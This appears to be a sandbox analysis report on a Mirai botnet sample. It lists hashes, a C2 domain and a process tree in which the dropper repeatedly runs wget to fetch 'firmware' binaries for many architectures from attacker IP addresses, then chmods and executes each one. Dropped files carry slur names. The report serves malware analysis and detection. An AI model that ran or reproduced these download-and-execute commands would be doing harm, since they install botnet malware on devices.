Overview

overview

10

Static

static

1

85fa682965...nknown

ubuntu-18.04-amd64

10

85fa682965...nknown

debian-9-armhf

10

85fa682965...nknown

debian-9-mips

10

85fa682965...nknown

debian-9-mipsel

10

Analysis

  • max time kernel
    176s
  • max time network
    178s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/09/2024, 01:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
  • Size 8KB
  • Sample240902-bjdvhaxcmn
  • SHA256 85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
miraibotnet

Malware Config

Extracted

Family

  • mirai

C2

  • www.akck.ru

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Executes dropped EXE 9 IoCs
  • Writes file to system bin folder 1 TTPs 14 IoCs
  • Changes its process name 1 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
    /tmp/85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
    1⤵
    • Writes file to system bin folder
    PID:714
    • /usr/bin/id
      id
      2⤵
      • Reads runtime system information
      PID:717
    • /bin/sed
      sed -n "s/^uid=[0-9]\\+(\\([^)]\\+\\)).*/\\1/p"
      2⤵
      • Reads runtime system information
      PID:718
    • /usr/bin/whoami
      whoami
      2⤵
        PID:725
      • /usr/bin/wget
        wget "http://45.152.112.46/firmware_v4?user=root&dir=/bin"
        2⤵
        • Writes file to system bin folder
        PID:728
      • /usr/bin/wget
        wget http://45.159.211.121/firmware/firmware.x86_64 -O feankzzyx
        2⤵
        • Writes file to system bin folder
        PID:739
      • /bin/chmod
        chmod 0755 ./feankzzyx
        2⤵
          PID:751
        • /bin/feankzzyx
          ./feankzzyx
          2⤵
          • Executes dropped EXE
          PID:752
        • /usr/bin/wget
          wget http://45.159.211.121/firmware/firmware.armv4l -O feankzzyx
          2⤵
          • Writes file to system bin folder
          PID:754
        • /bin/chmod
          chmod 0755 ./feankzzyx
          2⤵
            PID:755
          • /bin/feankzzyx
            ./feankzzyx
            2⤵
            • Executes dropped EXE
            PID:756
          • /usr/bin/wget
            wget http://45.159.211.121/firmware/firmware.armv5l -O feankzzyx
            2⤵
            • Writes file to system bin folder
            PID:758
          • /bin/chmod
            chmod 0755 ./feankzzyx
            2⤵
              PID:759
            • /bin/feankzzyx
              ./feankzzyx
              2⤵
              • Executes dropped EXE
              PID:760
            • /usr/bin/wget
              wget http://45.159.211.121/firmware/firmware.armv6l -O feankzzyx
              2⤵
              • Writes file to system bin folder
              PID:762
            • /bin/chmod
              chmod 0755 ./feankzzyx
              2⤵
                PID:763
              • /bin/feankzzyx
                ./feankzzyx
                2⤵
                • Executes dropped EXE
                PID:764
              • /usr/bin/wget
                wget http://45.159.211.121/firmware/firmware.armv7l -O feankzzyx
                2⤵
                • Writes file to system bin folder
                PID:766
              • /bin/chmod
                chmod 0755 ./feankzzyx
                2⤵
                  PID:777
                • /bin/feankzzyx
                  ./feankzzyx
                  2⤵
                  • Executes dropped EXE
                  PID:779
                • /usr/bin/wget
                  wget http://45.159.211.121/firmware/firmware.i586 -O feankzzyx
                  2⤵
                  • Writes file to system bin folder
                  PID:782
                • /bin/chmod
                  chmod 0755 ./feankzzyx
                  2⤵
                    PID:795
                  • /bin/feankzzyx
                    ./feankzzyx
                    2⤵
                    • Executes dropped EXE
                    PID:797
                  • /usr/bin/wget
                    wget http://45.159.211.121/firmware/firmware.i686 -O feankzzyx
                    2⤵
                    • Writes file to system bin folder
                    PID:800
                  • /bin/chmod
                    chmod 0755 ./feankzzyx
                    2⤵
                      PID:815
                    • /bin/feankzzyx
                      ./feankzzyx
                      2⤵
                      • Executes dropped EXE
                      PID:816
                    • /usr/bin/wget
                      wget http://45.159.211.121/firmware/firmware.m68k -O feankzzyx
                      2⤵
                      • Writes file to system bin folder
                      PID:819
                    • /bin/chmod
                      chmod 0755 ./feankzzyx
                      2⤵
                        PID:824
                      • /bin/feankzzyx
                        ./feankzzyx
                        2⤵
                        • Executes dropped EXE
                        PID:825
                      • /usr/bin/wget
                        wget http://45.159.211.121/firmware/firmware.mips -O feankzzyx
                        2⤵
                        • Writes file to system bin folder
                        PID:827
                      • /bin/chmod
                        chmod 0755 ./feankzzyx
                        2⤵
                          PID:828
                        • /bin/feankzzyx
                          ./feankzzyx
                          2⤵
                          • Executes dropped EXE
                          • Changes its process name
                          PID:829

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            ALLAH_IS_EVIL.txt
                            • Path /bin/ALLAH_IS_EVIL.txt
                            • Size 828B
                            • SHA256 43a54d24621ffaa1dea049234cc1296ec4f1a8285c4c90254202329d9762ca75
                            • MD5 SHA1 SHA512
                            Submit Download

                            allah_is_satan
                            • Path /bin/allah_is_satan
                            • Size 15B
                            • SHA256 68bf38c7874a4b54ed0dcc53ee8c55194ad2437818a577364a5735a56a819c2b
                            • MD5 SHA1 SHA512
                            Submit Download

                            current_user2
                            • Path /bin/current_user2
                            • Size 5B
                            • SHA256 53175bcc0524f37b47062fafdda28e3f8eb91d519ca0a184ca71bbebe72f969a
                            • MD5 SHA1 SHA512
                            Submit Download

                            feankzzyx
                            • Path /bin/feankzzyx
                            • Size 10B
                            • SHA256 8227203f32d8b00aa0ed784d3f0e11c722f3471d6a99976ee12fa12039fa0484
                            • MD5 SHA1 SHA512
                            Submit Download

                            feankzzyx
                            • Path /bin/feankzzyx
                            • Size 137KB
                            • SHA256 7e9239395e7fa0547d8782ecf1b6213ebdab113095406702fb076741f9e51907
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            firmware_v4?user=root&dir=%2Fbin
                            • Path /bin/firmware_v4?user=root&dir=%2Fbin
                            • Size 4B
                            • SHA256 7ca1e25edd006f00775c737c9f1062a685ce2f897ceb52ce6a2bad7292257c1f
                            • MD5 SHA1 SHA512
                            Submit Download

                            d
                            • Path /etc/d
                            • Size 10B
                            • SHA256 3b0aa99677bf9f40c322e3bccaa0e2079e7a99e5516562022c443465e8f9f56e
                            • MD5 SHA1 SHA512
                            Submit Download